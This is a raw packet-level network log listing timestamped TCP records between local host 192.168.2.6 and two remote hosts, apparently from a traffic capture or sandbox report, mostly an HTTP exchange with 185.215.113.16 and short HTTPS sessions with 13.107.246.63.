Dec 8, 2024 15:38:54.545039892 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.545084953 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.546051979 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.546099901 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.546180010 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.546221972 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.547250032 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.547298908 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.547358036 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.547400951 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.548469067 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.548516035 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.548582077 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.548650026 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.549642086 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.549698114 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.549738884 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.549783945 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.550889969 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.550941944 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.550962925 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.551002026 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.552180052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.552229881 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.552272081 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.552316904 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.553282976 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.553330898 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.553370953 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.553412914 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.554471016 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.554526091 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.554568052 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.554605961 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.555843115 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.555896044 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.556216955 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.556260109 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.556833029 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.556879997 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.557038069 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.557087898 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.558001995 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.558059931 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.558121920 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.558168888 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.559288979 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.559344053 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.559385061 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.559432983 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.560358047 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.560410976 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.560457945 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.560502052 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.561688900 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.561722994 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.561749935 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.561793089 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.563086033 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.563139915 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.563143015 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.563179970 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.564477921 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.564533949 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.564698935 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.564747095 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.565511942 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.565566063 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.565701962 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.565751076 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.566751003 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.566802979 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.566807032 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.566847086 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.568037987 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.568090916 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.568176985 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.568223000 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.569027901 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.569077015 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.569128990 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.569200039 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.570144892 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.570193052 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.570205927 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.570249081 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.571166992 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.571221113 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.571325064 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.571376085 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.572297096 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.572349072 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.572505951 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.572554111 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.573448896 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.573501110 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.573534012 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.573623896 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.574608088 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.574654102 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.574733973 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.574769974 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.575793982 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.575844049 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.576009989 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.576056004 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.577012062 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.577054977 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.577116966 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.577173948 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.578313112 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.578362942 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.578402996 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.578444958 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.579855919 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.579905033 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.579937935 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.579982042 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.580764055 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.580776930 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.580811977 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.580868959 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.581742048 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.581790924 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.581841946 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.581908941 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.582981110 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.583028078 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.583064079 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.583107948 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.584145069 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.584192038 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.584244013 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.584295034 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.585334063 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.585382938 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.585418940 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.585464954 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.586705923 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.586755037 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.586919069 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.586966991 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.587681055 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.587724924 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.587762117 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.587805986 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.588948965 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.588996887 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.683077097 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.683152914 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.683238983 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.683490038 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.683507919 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.683518887 CET	49827	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.683523893 CET	443	49827	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.685817003 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.686750889 CET	49831	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.686774015 CET	443	49831	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.686836958 CET	49831	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.687009096 CET	49831	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.687021017 CET	443	49831	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.688152075 CET	443	49829	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.689497948 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.689620972 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.689663887 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.689680099 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.689690113 CET	49828	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.689697027 CET	443	49828	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.691288948 CET	443	49829	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.691345930 CET	49829	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.691396952 CET	49829	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.691409111 CET	443	49829	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.691417933 CET	49829	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.691422939 CET	443	49829	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.691875935 CET	49832	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.691899061 CET	443	49832	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.691967964 CET	49832	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.692115068 CET	49832	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.692131996 CET	443	49832	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.693783045 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.693808079 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.693912029 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.694056034 CET	49833	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.694068909 CET	443	49833	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.699719906 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.699743032 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.699799061 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.699815035 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.699929953 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.699944973 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.699954987 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.700095892 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.700124979 CET	443	49826	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.701925993 CET	49834	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.701940060 CET	443	49834	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.701965094 CET	49826	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.702004910 CET	49834	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.702203989 CET	49834	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.702214956 CET	443	49834	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.719404936 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.719458103 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.719477892 CET	443	49830	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.719506979 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.719845057 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.719899893 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.719961882 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.720001936 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.720913887 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.720968962 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.721033096 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.721098900 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.722203016 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.722245932 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.722245932 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.722281933 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.722368956 CET	443	49830	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.722717047 CET	49830	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.722924948 CET	49830	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.722933054 CET	443	49830	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.722944975 CET	49830	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.722949982 CET	443	49830	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.722994089 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.723073006 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.723074913 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.723114014 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.724148989 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.724211931 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.724263906 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.724302053 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.724930048 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.724942923 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.725012064 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.725131035 CET	49835	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:54.725142002 CET	443	49835	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:54.725344896 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.725462914 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.725486994 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.725498915 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.726700068 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.726730108 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.726751089 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.726766109 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.727768898 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.727819920 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.727852106 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.727890968 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.728940010 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.728980064 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.729070902 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.729110003 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.730120897 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.730160952 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.730249882 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.730729103 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.731256962 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.731329918 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.731333017 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.731374979 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.732464075 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.732517004 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.732554913 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.732712984 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.733619928 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.733680964 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.733819962 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.733891964 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.734942913 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.734994888 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.735037088 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.735450029 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.736355066 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.736403942 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.736464024 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.736633062 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.737360954 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.737412930 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.737466097 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.738740921 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.738797903 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.738950968 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.738996983 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.739893913 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.739974976 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.740097046 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.740144968 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.741343021 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.741544962 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.741620064 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.741663933 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.742197990 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.742239952 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.742341995 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.742425919 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.743190050 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.743298054 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.743343115 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.744340897 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.744384050 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.744441986 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.744478941 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.745512962 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.745553017 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.745645046 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.745682001 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.746706009 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.746903896 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.746927023 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.746953011 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.747953892 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.748002052 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.748042107 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.748210907 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.749103069 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.749161959 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.749192953 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.749232054 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.750348091 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.750400066 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.750566959 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.750641108 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.751465082 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.751597881 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.751640081 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.752695084 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.752738953 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.752806902 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.752851009 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.753940105 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.753982067 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.754044056 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.754085064 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.755065918 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.755193949 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.755239010 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.756231070 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.756275892 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.756385088 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.756454945 CET	49825	80	192.168.2.6	185.215.113.16
Dec 8, 2024 15:38:54.757436037 CET	80	49825	185.215.113.16	192.168.2.6
Dec 8, 2024 15:38:54.757481098 CET	49825	80	192.168.2.6	185.215.113.16
